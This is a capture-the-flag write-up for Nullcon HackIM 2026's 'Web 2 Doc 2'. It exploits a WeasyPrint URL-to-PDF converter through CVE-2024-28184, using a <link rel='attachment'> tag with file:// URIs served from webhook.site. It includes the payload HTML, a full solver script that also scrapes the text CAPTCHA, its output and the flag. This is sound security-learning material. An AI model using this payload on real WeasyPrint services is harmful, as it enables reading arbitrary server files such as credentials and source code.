Nullcon HackIM CTF Goa 2026 - Web 2 Doc 2

Challenge: Web 2 Doc 2
Category: Web

Overview

Web 2 Doc 2 is a URL-to-PDF converter web application. Users submit a URL, solve a text-based CAPTCHA, and receive a PDF rendering of the target webpage. Under the hood, the application uses WeasyPrint 68.1 to convert fetched HTML into PDF documents.

The goal is to read the contents of /flag.txt on the server.

Reconnaissance

Identifying the Stack

Submitting a valid URL (e.g., https://example.com) and inspecting the resulting PDF reveals the producer:

1
Producer: WeasyPrint 68.1

The application is a Flask app running Python 3.11, confirmed via AWS metadata and /proc/self/cmdline (later).

Application Flow

User visits / and receives a page with a random 6-character alphanumeric CAPTCHA (e.g., X1QPNX).
User submits a URL and the CAPTCHA answer to POST /convert.
The server validates the CAPTCHA, fetches the URL using python-requests (with allow_redirects=False and an X-Fetcher: Internal header), and passes the HTML to WeasyPrint for PDF conversion.
The generated PDF is returned to the user.

Source Code (recovered via the exploit itself)

Using the vulnerability described below, the full application source at /app/app.py was extracted:

1
from flask import Flask, render_template, request, send_file, jsonify, session
2
import requests
3
from weasyprint import HTML, default_url_fetcher
4
import io
5
import os
6
import ipaddress
7
from urllib.parse import urlparse
8
import secrets
9
import string
10

11
app = Flask(__name__)
12
app.config['SECRET_KEY'] = os.urandom(24)
13

14
# ...captcha and helper functions...
15

16
@app.route('/convert', methods=['POST'])
17
def convert():
18
    url = request.form.get('url', '').strip()
19
    captcha_answer = request.form.get('captcha_answer', '').strip()
20
    # ...captcha validation...
21
    try:
22
        html_content = fetch_url_with_limit(url)
23
        pdf_file = SizeLimitedBytesIO()
24
        HTML(string=html_content).write_pdf(pdf_file)  # <-- NO custom url_fetcher!
25
        pdf_file.seek(0)
26
        return send_file(pdf_file, mimetype='application/pdf', ...)
27
    except Exception as e:
28
        return jsonify({'error': f'Failed to convert to PDF'}), 500

The critical line is:

1
HTML(string=html_content).write_pdf(pdf_file)

No custom url_fetcher is provided. WeasyPrint’s default url_fetcher is used, which supports file://, data:, and http(s):// protocols without restriction.

Vulnerability

CVE-2024-28184 - WeasyPrint Arbitrary File Read via PDF Attachments

WeasyPrint supports the HTML <link rel="attachment"> tag, which embeds the referenced resource as a file attachment inside the generated PDF. When no custom url_fetcher restricts the protocols, an attacker can use file:// URIs to read arbitrary local files and have them embedded as PDF attachments.

1
<link rel="attachment" href="file:///etc/passwd">

When WeasyPrint renders this HTML, it reads /etc/passwd from the local filesystem and embeds the contents as a binary attachment in the PDF. The attachment can then be extracted programmatically using a PDF library like pypdf.

Attack Chain

Host a malicious HTML page on an attacker-controlled server (e.g., webhook.site).
The HTML contains a <link rel="attachment" href="file:///flag.txt"> tag.
Submit the attacker’s URL to the converter with a valid CAPTCHA answer.
The server fetches the HTML via python-requests (this step doesn’t trigger the vulnerability).
WeasyPrint processes the HTML and encounters the <link rel="attachment"> tag.
WeasyPrint’s default url_fetcher reads file:///flag.txt from the server’s filesystem.
The file contents are embedded as an attachment in the output PDF.
Extract the attachment from the returned PDF.

Exploit

Step 1: Set Up Attacker-Controlled HTML

Create a webhook.site token configured to return:

1
<html>
2
<head>
3
    <link rel="attachment" href="file:///flag.txt">
4
</head>
5
<body>
6
    <h1>Web 2 Doc v2</h1>
7
</body>
8
</html>

Step 2: Automated Solver Script

1
import requests
2
import re
3
import tempfile
4
import os
5

6
BASE = "http://52.59.124.14:5003"
7

8
def create_webhook(content):
9
    """Create a webhook.site token with custom HTML response."""
10
    r = requests.post("https://webhook.site/token", json={
11
        "default_status": 200,
12
        "default_content": content,
13
        "default_content_type": "text/html"
14
    }, timeout=10)
15
    uuid = r.json()['uuid']
16
    return f"https://webhook.site/{uuid}"
17

18
def solve_captcha_and_convert(url):
19
    """Solve the text CAPTCHA and submit the URL for conversion."""
20
    s = requests.Session()
21
    r = s.get(BASE + "/", timeout=15)
22

23
    # Extract the CAPTCHA text from the page
24
    match = re.search(r'class="captcha-display">([^<]+)</div>', r.text)
25
    captcha = match.group(1).strip()
26

27
    # Submit URL with solved CAPTCHA
28
    r = s.post(BASE + "/convert", data={
29
        "url": url,
30
        "captcha_answer": captcha
31
    }, timeout=60)
32
    return r
33

34
def extract_attachments(pdf_bytes):
35
    """Extract file attachments from a PDF."""
36
    from pypdf import PdfReader
37
    with tempfile.NamedTemporaryFile(suffix='.pdf', delete=False) as f:
38
        f.write(pdf_bytes)
39
        f.flush()
40
        try:
41
            reader = PdfReader(f.name)
42
            if reader.attachments:
43
                for name, data_list in reader.attachments.items():
44
                    return name, data_list[0]
45
        finally:
46
            os.unlink(f.name)
47
    return None, None
48

49
# Payload HTML
50
html = '''<html><head>
51
<link rel="attachment" href="file:///flag.txt">
52
</head><body><h1>pwned</h1></body></html>'''
53

54
webhook_url = create_webhook(html)
55
print(f"[*] Webhook: {webhook_url}")
56

57
r = solve_captcha_and_convert(webhook_url)
58
if r.status_code == 200:
59
    name, data = extract_attachments(r.content)
60
    if data:
61
        print(f"[+] Flag: {data.decode()}")
62
    else:
63
        print("[-] No attachment found")

Step 3: Run and Profit

1
$ python3 solve.py
2
[*] Webhook: https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
3
[+] Flag: ENO{weasy_pr1nt_can_h4v3_f1l3s_1n_PDF_att4chments!}

Flag

1
ENO{weasy_pr1nt_can_h4v3_f1l3s_1n_PDF_att4chments!}